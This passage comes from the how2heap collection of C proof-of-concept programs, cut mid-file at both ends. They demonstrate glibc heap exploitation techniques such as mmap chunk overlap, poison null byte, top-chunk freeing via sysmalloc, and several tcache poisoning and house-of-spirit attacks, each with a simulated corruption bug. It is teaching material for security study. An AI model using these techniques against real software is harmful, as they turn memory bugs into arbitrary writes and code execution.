mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.27/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\n\tintptr_t *p1,*p2,*p3,*p4;\n\n\tprintf(\"\\nThis is a simple chunks overlapping problem\\n\\n\");\n\tprintf(\"Let's start to allocate 3 chunks on the heap\\n\");\n\n\tp1 = malloc(0x500 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x500 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tprintf(\"For a toy program, the value of the last 3 bits is unimportant;\"\n\t\t\" however, it is best to maintain the stability of the heap.\\n\");\n\tprintf(\"To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),\"\n\t\t\" to assure that p1 is not mistaken for a free chunk.\\n\");\n\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t\" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.27/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to poison null byte 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 18.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tuint8_t* a;\n\tuint8_t* b;\n\tuint8_t* c;\n\tuint8_t* b1;\n\tuint8_t* b2;\n\tuint8_t* d;\n\tvoid *barrier;\n\n\tprintf(\"We allocate 0x500 bytes for 'a'.\\n\");\n\ta = (uint8_t*) malloc(0x500);\n\tprintf(\"a: %p\\n\", a);\n\tint real_a_size = malloc_usable_size(a);\n\tprintf(\"Since we want to overflow 'a', we need to know the 'real' size of 'a' \"\n\t\t\"(it may be more than 0x500 because of rounding): %#x\\n\", real_a_size);\n\n\t/* chunk size attribute cannot have a least significant byte with a value of 0x00.\n\t * the least significant byte of this will be 0x10, because the size of the chunk includes\n\t * the amount requested plus some amount required for the metadata. */\n\tb = (uint8_t*) malloc(0xa00);\n\n\tprintf(\"b: %p\\n\", b);\n\n\tc = (uint8_t*) malloc(0x500);\n\tprintf(\"c: %p\\n\", c);\n\n\tbarrier =  malloc(0x100);\n\tprintf(\"We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\\n\"\n\t\t\"The barrier is not strictly necessary, but makes things less confusing\\n\", barrier);\n\n\tuint64_t* b_size_ptr = (uint64_t*)(b - 8);\n\n\t// added fix for size==prev_size(next_chunk) check in newer versions of glibc\n\t// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\t// this added check requires we are allowed to have null pointers in b (not just a c string)\n\t//*(size_t*)(b+0x9f0) = 0xa00;\n\tprintf(\"In newer versions of glibc we will need to have our updated size inside b itself to pass \"\n\t\t\"the check 'chunksize(P) != prev_size (next_chunk(P))'\\n\");\n\t// we set this location to 0xa00 since 0xa00 == (0xa11 & 0xff00)\n\t// which is the value of b.size after its first byte has been overwritten with a NULL byte\n\t*(size_t*)(b+0x9f0) = 0xa00;\n\n\t// this technique works by overwriting the size metadata of a free chunk\n\tfree(b);\n\t\n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"b.size is: (0xa00 + 0x10) | prev_in_use\\n\");\n\tprintf(\"We overflow 'a' with a single null byte into the metadata of 'b'\\n\");\n\ta[real_a_size] = 0; // <--- THIS IS THE \"EXPLOITED BUG\"\n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\n\tuint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;\n\tprintf(\"c.prev_size is %#lx\\n\",*c_prev_size_ptr);\n\n\t// This malloc will result in a call to unlink on the chunk where b was.\n\t// The added check (commit id: 17f487b), if not properly handled as we did before,\n\t// will detect the heap corruption now.\n\t// The check is this: chunksize(P) != prev_size (next_chunk(P)) where\n\t// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0xa00 (was 0xa10 before the overflow)\n\t// next_chunk(P) == b-0x10+0xa00 == b+0x9f0\n\t// prev_size (next_chunk(P)) == *(b+0x9f0) == 0xa00\n\tprintf(\"We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\\n\",\n\t\t*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));\n\tb1 = malloc(0x500);\n\n\tprintf(\"b1: %p\\n\",b1);\n\tprintf(\"Now we malloc 'b1'. It will be placed where 'b' was. \"\n\t\t\"At this point c.prev_size should have been updated, but it was not: %#lx\\n\",*c_prev_size_ptr);\n\tprintf(\"Interestingly, the updated value of c.prev_size has been written 0x10 bytes \"\n\t\t\"before c.prev_size: %lx\\n\",*(((uint64_t*)c)-4));\n\tprintf(\"We malloc 'b2', our 'victim' chunk.\\n\");\n\t// Typically b2 (the victim) will be a structure with valuable pointers that we want to control\n\n\tb2 = malloc(0x480);\n\tprintf(\"b2: %p\\n\",b2);\n\n\tmemset(b2,'B',0x480);\n\tprintf(\"Current b2 content:\\n%s\\n\",b2);\n\n\tprintf(\"Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\\n\");\n\n\tfree(b1);\n\tfree(c);\n\t\n\tprintf(\"Finally, we allocate 'd', overlapping 'b2'.\\n\");\n\td = malloc(0xc00);\n\tprintf(\"d: %p\\n\",d);\n\t\n\tprintf(\"Now 'd' and 'b2' overlap.\\n\");\n\tmemset(d,'D',0xc00);\n\n\tprintf(\"New b2 content:\\n%s\\n\",b2);\n\n\tprintf(\"Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks\"\n\t\t\"for the clear explanation of this technique.\\n\");\n\n\tassert(strstr(b2, \"DDDDDDDDDDDD\"));\n}\n"
  },
  {
    "path": "glibc_2.27/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.27/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.27/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  char counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.27/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\n\tsize_t stack_var;\n\tprintf(\"The address we want malloc() to return is %p.\\n\", (char *)&stack_var);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, &stack_var);\n\tb[0] = (intptr_t)&stack_var;\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, &stack_var);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", &stack_var);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)&stack_var == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.27/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc 2.27 and glibc 2.29.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the 